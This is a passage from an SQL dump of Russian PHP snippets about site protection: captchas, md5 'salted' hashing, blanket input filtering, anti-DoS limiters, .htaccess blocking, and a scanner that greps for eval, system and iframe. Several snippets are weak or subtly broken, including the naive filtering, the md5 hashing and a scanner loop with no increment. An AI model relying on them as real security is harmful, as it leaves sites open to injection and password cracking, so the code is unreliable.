checkdnsrr($host, $type=\'\'){\r\nif(!empty($host)){\r\n$type =
(empty($type)) ? \'MX\' : $type;\r\nexec(\'nslookup -type=\'.$type.\'
\'.escapeshellcmd($host), $result);\r\n$it = new
ArrayIterator($result);\r\nforeach(new RegexIterator($it,
\'~^\'.$host.\'~\', RegexIterator::GET_MATCH) as
$result){\r\nif($result){\r\nreturn true;\r\n}\r\n}\r\n}\r\nreturn
false;\r\n}\r\n}\r\n\r\n//проверим
адрес\r\n$url=\'http://wen.ru/forum\';\r\n\r\nif
(checkdnsrr(parse_url($url,PHP_URL_HOST)))\r\n{\r\necho \'хост
верен\';\r\n}\r\nelse\r\n{\r\necho \'хост
неверен\';\r\n}\r\n\r\n//проверим кривой
адрес\r\n$url=\'http://gfghhrwen.ru/forum\';\r\n\r\nif
(checkdnsrr(parse_url($url,PHP_URL_HOST)))\r\n{\r\necho \'хост
верен\';\r\n}\r\nelse\r\n{\r\necho \'хост
неверен\';\r\n}\r\n\r\n\r\n?>','files_5542_3439_',151),(323,18,'Защитный
код (captcha)','Юзаю уже месяц, без
нареканий.\r\nПример
использования\r\n\r\nВывод рисунка, формы
ввода:\r\n<img src="captcha.php"
alt="Защитный код" /><input
type="text" name="code"
size="4"
/>\r\n\r\nпроверка:\r\n\r\nif($_POST[\'code\']!=$_SESSION[\'code\']
or empty($_POST[\'code\'])){\r\necho \'Неправильно введен
проверочный код!\';\r\nexit;\r\n}\r\n\r\n...\r\nТак же,
в начале страницы, после <?php, где
будет использоваться капча, необходимо
стартовать
сессию:\r\nsession_name(\'sid\');\r\nsession_start();\r\n\r\n....\r\nКод
файла captcha.php ниже','<?php\r\n$width = 70;
//Ширина изображения\r\n$height = 25; //Высота
изображения\r\n$font_size = 8; //Размер
шрифта\r\n$let_amount = 4; //Количество символов,
которые нужно набрать\r\n$fon_let_amount = 15;
//Количество символов, которые находятся
на фоне\r\n$path_fonts = \'design/fonts/\'; //Путь к
шрифтам\r\n\r\n\r\n$letters =
array(\'0\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'9\');\r\n$colors =
array(\'10\',\'30\',\'50\',\'70\',\'90\',\'110\',\'130\',\'150\',\'170\',\'190\',\'210\');\r\n\r\n$src
= imagecreatetruecolor($width,$height);\r\n$fon =
imagecolorallocate($src,255,255,255);\r\n\r\nimagefill($src, 0, 0,
$fon);\r\n\r\n$fonts =
array();\r\n$dir=opendir($path_fonts);\r\n\r\nwhile($fontName =
readdir($dir)) {\r\n\r\nif($fontName != "."
&& $fontName != "..") {\r\n$fonts[] =
$fontName;\r\n}\r\n\r\n}\r\n\r\nclosedir($dir);\r\n\r\nfor($i=0;
$i<$fon_let_amount; $i++) {\r\n\r\n$color =
imagecolorallocatealpha($src,rand(0,255),rand(0,255),rand(0,255),100);\r\n$font
= $path_fonts.$fonts[rand(0,sizeof($fonts)-1)];\r\n$letter =
$letters[rand(0,sizeof($letters)-1)];\r\n$size =
rand($font_size-2,$font_size+2);\r\nimagettftext($src, $size, rand(0, 45),
rand($width * 0.1, $width - $width * 0.1), rand($height * 0.2, $height),
$color, $font, $letter);\r\n\r\n}\r\n\r\nfor($i=0; $i<$let_amount;
$i++) {\r\n\r\n$color =
imagecolorallocatealpha($src,$colors[rand(0,sizeof($colors)-1)],$colors[rand(0,sizeof($colors)-1)],$colors[rand(0,sizeof($colors)-1)],rand(20,40));\r\n$font
= $path_fonts.$fonts[rand(0,sizeof($fonts)-1)];\r\n$letter =
$letters[rand(0,sizeof($letters)-1)];\r\n$size =
rand($font_size*2.1-2,$font_size*2.1+2);\r\n$x = ($i+1)*$font_size +
rand(4,7);\r\n$y = (($height*2)/3) + rand(0,5);\r\n$cod[] =
$letter;\r\nimagettftext($src,$size,rand(0,15),$x,$y,$color,$font,$letter);\r\n\r\n}\r\n//
запуск
сессий\r\nsession_name(\'sid\');\r\nsession_start();\r\n\r\n$_SESSION[\'code\']
= implode(\'\', $cod);\r\n\r\nheader ("Content-type:
image/gif");\r\nimagegif($src);\r\n\r\n?>','files_2778_2706_',151),(324,18,'Хэширование
"с солью"','И подобрать
нельзя','<?php\r\nfunction
pass_filter($var)\r\n\r\n{\r\nreturn
md5(md5(base64_encode($var).\'Securiti\'));\r\n}\r\n?>\r\nПример
использования:\r\n<?php\r\npass_filter(\'Mark\');\r\n?>\r\nрезультат:
9ccab83ca0a340767275d7220f5d791e\r\n\r\nВАЖНО, СЛОВО Securiti
МЕНЯЙТЕ НА
СВОЕ.\r\n*/','files_3902_1354_',151),(326,18,'Идеальная
защита','Представляю вашему вниманию
идеальную защиту $_GET,$_POST,$_COOKIE,$_SESSION
переменных, т.е всех глобальных
переменных вашего сайта..\r\n\r\nВсё
гениальное просто, не засирайте ваши
коды горами функции типа $a = check($_GET[\'a\']); $b
= check($_POST[\'a\']); и т.п..','// В примере с GET я всё
распишу, дальше будет ясно я так думаю
=)\r\n\r\n// GET\r\nforeach($_GET as $key => $value)
{\r\n\r\nif(is_numeric($value)) {\r\n// фильтруем если
цифра или число\r\n\r\n// (int) - возводим в
целое\r\n// abs -не даем уйти в минус\r\n$value =
(int) abs($value);\r\n\r\n} else {\r\n\r\n// фильтруем если
текст\r\n\r\n// htmlspecialchars - преобразуем html
символы в спецсимволы (защита от XSS)\r\n$value
= htmlspecialchars($value);\r\n\r\n// удаляем \', ", %
(защита от SQLinj)\r\n$value =
str_replace(array(\'\\\'\',\'"\',\'%\'),NULL,$value);\r\n\r\n//
удаляем точки (защита от PHPinj)\r\n// ^ если
нужно оставляем\r\n$value =
str_replace(\'.\',NULL,$value);\r\n\r\n}\r\n\r\n$_GET[$key] =
$value;\r\n\r\n}\r\n\r\n// POST\r\nforeach($_POST as $key => $value)
{\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int)
abs($value);\r\n\r\n} else {\r\n\r\n$value =
htmlspecialchars($value);\r\n$value =
str_replace(array(\'\\\'\',\'"\',\'%\'),NULL,$value);\r\n\r\n$value
= str_replace(\'.\',NULL,$value);\r\n\r\n}\r\n\r\n$_POST[$key] =
$value;\r\n\r\n}\r\n\r\n// COOKIE\r\nforeach($_COOKIE as $key =>
$value) {\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int)
abs($value);\r\n\r\n} else {\r\n\r\n$value =
htmlspecialchars($value);\r\n$value =
str_replace(array(\'\\\'\',\'"\',\'%\'),NULL,$value);\r\n\r\n}\r\n\r\n$_COOKIE[$key]
= $value;\r\n\r\n}\r\n\r\n// SESSONS\r\n// для тех кто в
танке, чтобы фильтр исправно работал
нужно стартануть сессии
(session_start();)\r\nforeach($_SESSION as $key => $value)
{\r\n\r\nif(is_numeric($value)) {\r\n\r\n$value = (int)
abs($value);\r\n\r\n} else {\r\n\r\n$value =
htmlspecialchars($value);\r\n$value =
str_replace(array(\'\\\'\',\'"\',\'%\'),NULL,$value);\r\n\r\n}\r\n\r\n$_SESSION[$key]
= $value;\r\n\r\n}','files_5332_2766_',151),(327,18,'антивирус
на пхп','антивирус на пхп','<? //
Заваливаем массив списком\r\nнужных нам
директорий $dir = array("./dir/"); //
Расширение для сортировки $extentions =
array(".php"); // масссив из
безопасных php-\r\nфайлов файлов $safe_files = array
("index.php","shell.php"); //
Каждый элемент массива - как\r\nотдельную
директорию foreach ($dir as $get_dir) { // Открываем
хэндл директории $dir_handle = opendir($get_dir); //
Получаем данные из директории while ( false !==
($file = readdir ($dir_handle)) ) { // Находим файлы с
расширением\r\nпэхопэ $ext = strtolower(strrchr($file,
".")); // Отсортируем все .php файлы
if ( in_array($ext, $extentions) ) { // Собираем новый
массив из php-\r\nфайлов $php_files[] = $file; }\r\n}\r\n}
?>','files_4526_3062_',151),(328,18,'Автоматический
поиск уязвимостей в
скрипте','Автоматический поиск
уязвимостей в скрипте','<?php\r\n/*
findrisk.php\r\n*/\r\nset_time_limit (0 );\r\nini_set (
"set_time_limit" , 0);\r\nini_set (
"memory_limit" ,\r\n"128M"
);\r\nfunction _readdir ( $d ,& $files )\r\n{\r\nglobal $opendir
;\r\n$dir = opendir ( $d );\r\nwhile ( $file = readdir\r\n( $dir
))\r\n{\r\nif (( $file != "." ) && (
$file\r\n!= ".." ))\r\n{\r\n$opendir = $d
."/" . $file ;\r\nif( filetype ( $opendir )==
"dir" )\r\n{\r\n_readdir ( $opendir ,& $files
);\r\n}\r\nelse\r\n{\r\n$files [] = $opendir ;\r\n}\r\n}\r\n}\r\nclosedir (
$dir );\r\n}\r\n_readdir ( "." ,& $files
);\r\n$exp = array(\r\n\'file_put_contentss*(\' ,\r\n\'fwrites*(\'
,\r\n\'fputs*(\' ,\r\n\'evals*(\' ,\r\n\'systems*(\'
,\r\n\'<frame[^>] \' ,\r\n\'<iframe[^>]
\'\r\n);\r\n$regexp = \'/.{15}b(\' . implode\r\n( $exp ,
"|" ). \')b.{15}/Uis\' ;\r\nforeach ( $files as $index
)\r\n{\r\n$content = file_get_contents\r\n( $index );\r\nif( preg_match_all
($regexp ,\r\n$content , $match ))\r\n{\r\n//print_r($match);\r\necho
"<b>" . $index
."</b>" ;\r\nfor( $j = 0; $j < count
( $match\r\n[ 0 ]); $j )\r\n{\r\n$match [ 0 ][ $j ] =\r\nhtmlspecialchars
($match [ 0 ]\r\n[ $j ]);\r\n$match [ 1 ][ $j ] =\r\nhtmlspecialchars
($match [ 1 ]\r\n[ $j ]);\r\n$text = str_replace ( $match [1 ]\r\n[ $j ],
"<font color=\r\n\\"
#FF0000\\"><b>".$match[1]\r\n[$j]."</b></font>",\r\nhtmlspecialchars($match[0]\r\n[$j]));\r\necho
"<br>". $text ;\r\n}\r\necho
"<br><br>"
;\r\n}\r\n}\r\n?>','files_4319_1634_',151),(329,18,'антивирусс','Антивирус
на php','<?\r\n// Заваливаем массив
списком\r\nнужных нам директорий\r\n$dir = array(
"./dir/" );\r\n// Расширение для
сортировки\r\n$extentions = array\r\n( ".php"
);\r\n// масссив из безопасных\r\nphp-файлов
файлов\r\n$safe_files = array\r\n( "index.php" ,
"shell.php" );\r\n// Каждый элемент
массива -\r\nкак отдельную
директорию\r\nforeach ( $dir as $get_dir )\r\n{\r\n//
Открываем хэндл\r\nдиректории\r\n$dir_handle =
opendir\r\n( $get_dir );\r\n// Получаем данные
из\r\nдиректории\r\nwhile ( false !== ( $file =\r\nreaddir(
$dir_handle )) ) {\r\n// Находим файлы
с\r\nрасширением пэхопэ\r\n$ext = strtolower
(strrchr\r\n( $file , "." ));\r\n//
Отсортируем все .php\r\nфайлы\r\nif ( in_array ( $ext
,\r\n$extentions ) ) {\r\n// Собираем новый массив
из\r\nphp-файлов\r\n$php_files [] = $file
;\r\n}\r\n}\r\n}\r\n?>','files_4991_2099_',151),(330,18,'AntiDoss
ll','AntiDoss ll','<?php\r\n// каталог для
хранения\r\nвременных файлов\r\n$nf_path =$dir .
\'/engine/\r\ndata/anti_doss/\' ;\r\n// имя файла для юзера
-\r\nгенерится из его IP-адреса\r\n$nf_fip = $nf_path .
$_SERVER\r\n[ \'REMOTE_ADDR\' ];\r\n// имя файла
для\r\nвстроенного крона
(должно\r\nначинаться с точки)\r\n$nf_fcron =
$nf_path . \'.time\' ;\r\n//\r\n// сек => кол-во\r\n//\r\n//
не более скольки загрузок\r\nза сколько
секунд можно\r\nсделать,\r\n// чтобы не
получить игнор\r\n//\r\n$nf_flood =array(\r\n10 => 15 ,
// не более 15\r\nзагрузок за 10 секунд\r\n60
=> 50 , // не более 60\r\nзагрузок за
минуту\r\n300 => 150 , // не более
150\r\nзагрузок за 5 минут\r\n3600 => 500 , // не
более\r\n500 загрузок за час\r\n);\r\n$nf_cron_run = 300
; // раз в\r\nсколько секунд
проверять\r\nстарые файлы\r\n$nf_old_file = 300 ; //
через\r\nсколько секунд считать
файл\r\nстарым (и удалять)\r\nfunction cron_update ( $fn
,\r\n$update ) {\r\nif (! file_exists ( $fn )) {\r\nif (!@ touch ($fn ))
{\r\necho \'Не могу создать\r\n<strong>\' .
basename ($fn ). \'</\r\nstrong>, проверьте
права на\r\nфайлы (w+)<br/>\' ;\r\nreturn -
1;\r\n}\r\n}\r\nelse {\r\nif ( time ()- filemtime( $fn )<\r\n$update
) {return 0;}\r\n}\r\n$f =@fopen ( $fn , \'r+\' );\r\nif (! $f ) {\r\necho
\'Не могу открыть\r\n<strong>\' . basename ($fn
). \'</\r\nstrong>, проверьте права
на\r\nфайлы (r+)<br/>\' ;\r\nreturn - 1;\r\n}\r\nif (!
flock ( $f , 6 )) {return;}\r\n$text =fgets ($f , 100 );\r\nif ( time ()-
intval( $text )<\r\n$update ) {return 0;}\r\nfseek ($f , 0 ,SEEK_SET
);\r\nfwrite ( $f , time (). \' \' );\r\nfclose ( $f );\r\nreturn 1
;\r\n}\r\n$nf_cron_code = cron_update\r\n( $nf_fcron , $nf_cron_run
);\r\nif ( $nf_cron_code ==- 1)\r\nreturn;\r\nif ( $nf_cron_code ==1 )
{\r\nif ( $nf_dir =@opendir\r\n( $nf_path )) {\r\n$nf_time =time
()-\r\n$nf_old_file ;\r\nwhile (( $nf_tmp = readdir\r\n( $nf_dir ))!==
false ) {\r\nif ( $nf_tmp [ 0 ]== \'.\' )\r\ncontinue;\r\nif ( filemtime(
$nf_path .\r\n$nf_tmp )<$nf_time &&\r\npreg_match (
"!^[0-9]{1,3}\\.\r\n[0-9]{1,3}\\.[0-9]{1,3}\\.\r\n[0-9]{1,3}$!"
, $nf_tmp ))\r\n{\r\nif (! unlink( $nf_path .\r\n$nf_tmp )) {\r\necho
\'Не могу удалить\r\n<trong>\' .$nf_tmp .
\'</\r\nstrong><br/>\'
;\r\n}\r\n}\r\n}\r\nclosedir ( $nf_dir );\r\n}\r\n}\r\nunset( $nf_cron_code
);\r\nif ( file_exists ( $nf_fip )) {\r\n$nf_f =@fopen ( $nf_fip , \'r+\'
);\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен
паралельный\r\nпроцесс!\' );\r\nif (! $nf_f ) {\r\necho
\'Не могу открыть\r\n<strong>\' . basename\r\n(
$nf_fip ). \'</strong> (r\r\n+)<br/>\'
;\r\nreturn;\r\n}\r\n$nf_buf = fgets ( $nf_f ,1000 );\r\n$nf_buf = explode(
\'|\' ,\r\n$nf_buf );\r\n}\r\nelse {\r\nfor( $nf_i = 0; $nf_i
<count\r\n( $nf_flood )*2 ; $nf_i ++)\r\n$nf_buf []= 0 ;\r\n$nf_f
=@fopen ( $nf_fip , \'a+\' );\r\nif (! $nf_f ) {\r\necho \'Не могу
создать\r\n<strong>\' . basename\r\n( $nf_fip ).
\'</strong> (a\r\n+)<br/>\'
;\r\nreturn;\r\n}\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка
запущен паралельный\r\nпроцесс!\' );\r\n}\r\n$nf_i
= 0 ;\r\n$nf_stopflag = 0 ;\r\nforeach ( $nf_flood as\r\n$nf_k
=>$nf_v ) {\r\nif ( $nf_buf [ $nf_i + 1 ]+\r\n$nf_k < time())
{\r\n$nf_buf [ $nf_i ]=1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\nelse
{\r\nif ( $nf_buf [ $nf_i ]> $nf_v ) {\r\n$nf_stopflag = 1
;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\n$nf_buf [ $nf_i
]++;\r\n}\r\n$nf_i += 2;\r\n}\r\nftruncate ($nf_f , 0 );\r\nfseek ($nf_f ,
0 );\r\nfputs ($nf_f , implode( \'|\' ,\r\n$nf_buf ));\r\nif ( $nf_stopflag
) exit\r\n( \'Сработала программа ANTI\r\nDOSS.. Это
значит что вы\r\nлибо хотели взломать
сайт,\r\nлибо очень быстро\r\nпередвигались
по сайту...\r\nДоступ к сайту
возобновиться\r\nв течении 5минут\' );\r\nunset(
$nf_f );\r\nunset( $nf_i );\r\nunset( $nf_k );\r\nunset( $nf_v );\r\nunset(
$nf_stopflag );\r\nunset( $nf_buf );\r\nunset( $nf_fip );\r\nunset(
$nf_path );\r\nunset( $nf_flood );\r\nunset( $nf_cron_run );\r\nunset(
$nf_cron_idle
);\r\n}\r\n?>','files_2519_1252_',151),(331,18,'защита
AntiDoss','защита AntiDoss','<?php\r\n// каталог для
хранения\r\nвременных файлов\r\n$nf_path =$dir .
\'/engine/\r\ndata/anti_doss/\' ;\r\n// имя файла для юзера
-\r\nгенерится из его IP-адреса\r\n$nf_fip = $nf_path .
$_SERVER\r\n[ \'REMOTE_ADDR\' ];\r\n// имя файла
для\r\nвстроенного крона
(должно\r\nначинаться с точки)\r\n$nf_fcron =
$nf_path . \'.time\' ;\r\n//\r\n// сек => кол-во\r\n//\r\n//
не более скольки загрузок\r\nза сколько
секунд можно\r\nсделать,\r\n// чтобы не
получить игнор\r\n//\r\n$nf_flood =array(\r\n10 => 15 ,
// не более 15\r\nзагрузок за 10 секунд\r\n60
=> 50 , // не более 60\r\nзагрузок за
минуту\r\n300 => 150 , // не более
150\r\nзагрузок за 5 минут\r\n3600 => 500 , // не
более\r\n500 загрузок за час\r\n);\r\n$nf_cron_run = 300
; // раз в\r\nсколько секунд
проверять\r\nстарые файлы\r\n$nf_old_file = 300 ; //
через\r\nсколько секунд считать
файл\r\nстарым (и удалять)\r\nfunction cron_update ( $fn
,\r\n$update ) {\r\nif (! file_exists ( $fn )) {\r\nif (!@ touch ($fn ))
{\r\necho \'Не могу создать\r\n<strong>\' .
basename ($fn ). \'</\r\nstrong>, проверьте
права на\r\nфайлы (w+)<br/>\' ;\r\nreturn -
1;\r\n}\r\n}\r\nelse {\r\nif ( time ()- filemtime( $fn )<\r\n$update
) {return 0;}\r\n}\r\n$f =@fopen ( $fn , \'r+\' );\r\nif (! $f ) {\r\necho
\'Не могу открыть\r\n<strong>\' . basename ($fn
). \'</\r\nstrong>, проверьте права
на\r\nфайлы (r+)<br/>\' ;\r\nreturn - 1;\r\n}\r\nif (!
flock ( $f , 6 )) {return;}\r\n$text =fgets ($f , 100 );\r\nif ( time ()-
intval( $text )<\r\n$update ) {return 0;}\r\nfseek ($f , 0 ,SEEK_SET
);\r\nfwrite ( $f , time (). \' \' );\r\nfclose ( $f );\r\nreturn 1
;\r\n}\r\n$nf_cron_code = cron_update\r\n( $nf_fcron , $nf_cron_run
);\r\nif ( $nf_cron_code ==- 1)\r\nreturn;\r\nif ( $nf_cron_code ==1 )
{\r\nif ( $nf_dir =@opendir\r\n( $nf_path )) {\r\n$nf_time =time
()-\r\n$nf_old_file ;\r\nwhile (( $nf_tmp = readdir\r\n( $nf_dir ))!==
false ) {\r\nif ( $nf_tmp [ 0 ]== \'.\' )\r\ncontinue;\r\nif ( filemtime(
$nf_path .\r\n$nf_tmp )<$nf_time &&\r\npreg_match (
"!^[0-9]{1,3}\\.\r\n[0-9]{1,3}\\.[0-9]{1,3}\\.\r\n[0-9]{1,3}$!"
, $nf_tmp ))\r\n{\r\nif (! unlink( $nf_path .\r\n$nf_tmp )) {\r\necho
\'Не могу удалить\r\n<trong>\' .$nf_tmp .
\'</\r\nstrong><br/>\'
;\r\n}\r\n}\r\n}\r\nclosedir ( $nf_dir );\r\n}\r\n}\r\nunset( $nf_cron_code
);\r\nif ( file_exists ( $nf_fip )) {\r\n$nf_f =@fopen ( $nf_fip , \'r+\'
);\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка запущен
паралельный\r\nпроцесс!\' );\r\nif (! $nf_f ) {\r\necho
\'Не могу открыть\r\n<strong>\' . basename\r\n(
$nf_fip ). \'</strong> (r\r\n+)<br/>\'
;\r\nreturn;\r\n}\r\n$nf_buf = fgets ( $nf_f ,1000 );\r\n$nf_buf = explode(
\'|\' ,\r\n$nf_buf );\r\n}\r\nelse {\r\nfor( $nf_i = 0; $nf_i
<count\r\n( $nf_flood )*2 ; $nf_i ++)\r\n$nf_buf []= 0 ;\r\n$nf_f
=@fopen ( $nf_fip , \'a+\' );\r\nif (! $nf_f ) {\r\necho \'Не могу
создать\r\n<strong>\' . basename\r\n( $nf_fip ).
\'</strong> (a\r\n+)<br/>\'
;\r\nreturn;\r\n}\r\nif (! flock ( $nf_f , 6 )) exit\r\n( \'Ошибка
запущен паралельный\r\nпроцесс!\' );\r\n}\r\n$nf_i
= 0 ;\r\n$nf_stopflag = 0 ;\r\nforeach ( $nf_flood as\r\n$nf_k
=>$nf_v ) {\r\nif ( $nf_buf [ $nf_i + 1 ]+\r\n$nf_k < time())
{\r\n$nf_buf [ $nf_i ]=1 ;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\nelse
{\r\nif ( $nf_buf [ $nf_i ]> $nf_v ) {\r\n$nf_stopflag = 1
;\r\n$nf_buf [ $nf_i +1 ]=time ();\r\n}\r\n$nf_buf [ $nf_i
]++;\r\n}\r\n$nf_i += 2;\r\n}\r\nftruncate ($nf_f , 0 );\r\nfseek ($nf_f ,
0 );\r\nfputs ($nf_f , implode( \'|\' ,\r\n$nf_buf ));\r\nif ( $nf_stopflag
) exit\r\n( \'Сработала программа ANTI\r\nDOSS.. Это
значит что вы\r\nлибо хотели взломать
сайт,\r\nлибо очень быстро\r\nпередвигались
по сайту...\r\nДоступ к сайту
возобновиться\r\nв течении 5минут\' );\r\nunset(
$nf_f );\r\nunset( $nf_i );\r\nunset( $nf_k );\r\nunset( $nf_v );\r\nunset(
$nf_stopflag );\r\nunset( $nf_buf );\r\nunset( $nf_fip );\r\nunset(
$nf_path );\r\nunset( $nf_flood );\r\nunset( $nf_cron_run );\r\nunset(
$nf_cron_idle
);\r\n}\r\n?>','files_2987_4583_',151),(332,18,'Защита от
частых обращений к сайту.','Защита от
частых обращений к сайту.\r\n\r\nвсе
оказалось довольно просто все что нужно
это перейти на сайт жертвы и зажать на
секунд 10 кнопку F5, тем самым происходит
обновления страницы чаще чем раз в 1
секунду, из за таких частых обращений и
ложится сервер, правда не на долго но все
равно не приятно.\r\nДанная информация
сразу заставила задуматься и принять
экстренные меры )) и был написан
простенький но эффективный скрипт на
ограничение запросов к
сайту.\r\n\r\nheader(\'Content-Type:
text/html;charset=UTF-8\');\r\n\r\nsession_start();\r\n\r\n$limit =
5;\r\n\r\nif(isset($_SESSION[session_id()]) AND
(time()-$_SESSION[session_id()]) <=
$limit)\r\n\r\nexit(\'Фууууу.. ддоссер....
кышь!\');\r\n\r\nelse\r\n\r\n$_SESSION[session_id()] =
time();\r\n\r\nКак вы уже догадались скрипт
нужно прикрепить ко всем страницам
вашего сайта в самом начале.\r\nPhp скрипт
от частого обращения к
сайту.','header(\'Content-Type:
text/html;charset=UTF-8\');\r\n\r\nsession_start();\r\n\r\n$limit =
5;\r\n\r\n\r\n\r\nif(isset($_SESSION[session_id()]) AND
(time()-$_SESSION[session_id()]) <=
$limit)\r\n\r\nexit(\'Фууууу.. ддоссер....
кышь!\');\r\n\r\nelse\r\n\r\n$_SESSION[session_id()] =
time();','files_3669_3288_',151),(333,18,'Защито от лишних
поисковых ботов и снижаем нагрузку на
сервер','Дополнить файл .htaccess следующим
содержимым:','order allow,deny\r\nallow from all\r\n# Далее
список юзерагентов которым мы запрещаем
доступ\r\nSetEnvIfNoCase User-Agent JS-Kit bad_bot\r\nSetEnvIfNoCase
User-Agent PostRank bad_bot\r\nSetEnvIfNoCase User-Agent Python-urllib
bad_bot\r\nSetEnvIfNoCase User-Agent UnwindFetchor
bad_bot\r\nSetEnvIfNoCase User-Agent facebookexternalhit
bad_bot\r\nSetEnvIfNoCase User-Agent TweetmemeBot bad_bot\r\nSetEnvIfNoCase
User-Agent Butterfly bad_bot\r\nSetEnvIfNoCase User-Agent MFE_expand
bad_bot\r\nSetEnvIfNoCase User-Agent Java bad_bot\r\nSetEnvIfNoCase
User-Agent Summify bad_bot\r\nSetEnvIfNoCase User-Agent MetaURI
bad_bot\r\nSetEnvIfNoCase User-Agent FlipboardProxy
bad_bot\r\nSetEnvIfNoCase User-Agent ScribdReader bad_bot\r\nSetEnvIfNoCase
User-Agent RockMelt bad_bot\r\nSetEnvIfNoCase User-Agent InAGist
bad_bot\r\nSetEnvIfNoCase User-Agent NING bad_bot\r\nSetEnvIfNoCase
User-Agent TweetedTimes bad_bot\r\nSetEnvIfNoCase User-Agent PaperLiBot
bad_bot\r\nSetEnvIfNoCase User-Agent Library bad_bot\r\nSetEnvIfNoCase
User-Agent Ezooms bad_bot\r\nSetEnvIfNoCase User-Agent strawberryj
bad_bot\r\nSetEnvIfNoCase User-Agent Scooper bad_bot\r\nSetEnvIfNoCase
User-Agent Ahrefs bad_bot\r\nSetEnvIfNoCase User-Agent Spider
bad_bot\r\nSetEnvIfNoCase User-Agent None bad_bot\r\nSetEnvIfNoCase
User-Agent EventMachine bad_bot\r\nSetEnvIfNoCase User-Agent aiHitBot
bad_bot\r\nSetEnvIfNoCase User-Agent SolomonoBot bad_bot\r\nSetEnvIfNoCase
User-Agent SearchBot bad_bot\r\nSetEnvIfNoCase User-Agent Wget
bad_bot\r\nSetEnvIfNoCase User-Agent Crawler bad_bot\r\nOrder
Allow,Deny\r\nAllow from all\r\nDeny from
env=bad_bot','files_1621_1808_',151),(334,18,'Блокировка мыши
и клавиатуры с выдачей
сообщений','Работает
безотказно.\r\nПроверял у себя. Супер
работает, никто не скопирует у вас текст
сайта. Видал много таких кодов, но все они
некорректно
работали.','<html>\r\n<head>\r\n<title>Блокировка
мыши и клавиатуры с выдачей
сообщений</title>\r\n<SCRIPT
language=Javascript1.2>\r\n<!--//\r\nfunction click() {\r\nif
(event.button==2) {\r\n// Чтобы отключить левую
кнопку поставьте цифру 1\r\n// Чтобы
отключить третью кнопку поставьте цифру
3\r\nalert(\'Кнопка мышки отключена\');\r\n} }\r\n//
Здесь введите свою надпись\r\nfunction
press(){\r\nalert(\'Клавиатура отключена\');\r\n}\r\n//
Здесь введите свою
надпись\r\ndocument.onmousedown=click;\r\ndocument.onkeydown=press;\r\n//
-->\r\n</SCRIPT>\r\n</head>\r\n<body>\r\n</body>\r\n</html>','files_3063_3930_',151),(335,18,'Отключение
правых кнопок мыши (2 и 3) с выдачей
сообщения','Отключение правых кнопок
мыши (2 и 3) с выдачей
сообщения','<html>\r\n<head>\r\n<title>Отключение
правых кнопок мыши</title>\r\n<script
LANGUAGE="JavaScript1.1">\r\n<!--\r\nfunction
right(e) {\r\nif (navigator.appName == \'Netscape\'
&&\r\n(e.which == 3 || e.which == 2))\r\nreturn
false;\r\nelse\r\nif (navigator.appName == \'Microsoft Internet Explorer\'
&&\r\n(event.button == 2 || event.button ==
3))\r\n{\r\nalert ("Отключена");\r\nreturn
false;\r\n}\r\nreturn true;\r\n}\r\ndocument.onmousedown=right;\r\nif
(document.layers)\r\nwindow.captureEvents(Event.MOUSEDOWN);\r\nwindow.onmousedown=right;\r\n-->\r\n</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>','files_4258_4780_',151),(336,18,'Отличная
каптча','Отличная
каптча','<?php\r\n\r\nsession_start();\r\n\r\n$_SESSION[\'code\']
= mt_rand(1111, 9999);\r\n\r\n$img = ImageCreate(42, 18);\r\n$font =
ImageColorALLocate($img, 255, 255, 255);\r\nImageFill($img, 0, 0,
$font);\r\n\r\nImageString($img, 5, rand(2,3), rand(0,3),
substr($_SESSION[\'code\'], 0, 1), ImageColorALLocate($img, rand(0, 204),
rand(0, 204), rand(0, 204)));\r\nImageString($img, 5, rand(11,12),
rand(0,3), substr($_SESSION[\'code\'], 1, 1), ImageColorALLocate($img,
rand(0, 204), rand(0, 204), rand(0, 204)));\r\nImageString($img, 5,
rand(20,21), rand(0,3), substr($_SESSION[\'code\'], 2, 1),
ImageColorALLocate($img, rand(0, 204), rand(0, 204), rand(0,
204)));\r\nImageString($img, 5, rand(29,30), rand(0,3),
substr($_SESSION[\'code\'], 3, 1), ImageColorALLocate($img, rand(0, 204),
rand(0, 204), rand(0, 204)));\r\n\r\nheader(\'Content-type:
image/gif\');\r\nImageGIF($img);\r\nImageDestroy($img);\r\n?>','files_5478_5638_',151),(337,18,'Заменяем
двойные кавычки на безопасный
аналог','Заменяем двойные кавычки на
безопасный
аналог','<?php\r\npreg_replace(\'B"b([^"x84x93x94rn]+)b"B\',
\'?1?\',
$text);\r\n?>','files_5382_2027_',151),(338,18,'Запрет
доступа к сайту','Запрещаем заходить на
сайт определенным IP, все писать в
.htaccess','Order Allow,Deny\r\n#разрешаем входить
всем,\r\nAllow from all\r\n#кроме определенного
IP\r\nDeny from local.\r\nDeny from пишем IP юзера\r\n\r\n#IP
можно и вписать полный диапозон:
например, чтобы заблокировать диапозон
37.150... - 37.151...\r\n\r\nDeny from local.\r\nDeny from 37.150,
37.151','files_1963_3452_',151),(339,18,'Отправка отчета об
ошибке PHP на Email, вместо отображения
ошибок','По умолчанию, большинство
серверов настроены на отображение
сообщения об ошибке в сценариях PHP. По
соображениям безопасности, Вы можете
получать письма с отчетами об ошибках,
вместо того, чтобы они отображались
посетителям.','// Обработчик ошибок\r\nfunction
nettuts_error_handler($number, $message, $file, $line, $vars){\r\n$email =
"\r\n<p>An error ($number) occurred on
line\r\n<strong>$line</strong> and in the
<strong>file:
$file.</strong>\r\n<p> $message
</p>";\r\n\r\n$email .=
"<pre>" . print_r($vars, 1) .
"</pre>";\r\n\r\n$headers = \'Content-type:
text/html; charset=iso-8859-1\' . "\\r\\n";\r\n\r\n//
Кому отправляем\r\nerror_log($email, 1, \'example@mail.ru\',
$headers);\r\n\r\n// реагируем на ошибку
уведомление\r\nif ( ($number !== E_NOTICE) &&
($number < 2048) ) {\r\ndie("Ошибка в
сценарии!");\r\n}\r\n}\r\n\r\n// Применяем
нашу функцию для обработки
ошибок\r\nset_error_handler(\'nettuts_error_handler\');\r\n\r\n//
Ошибка)\r\necho
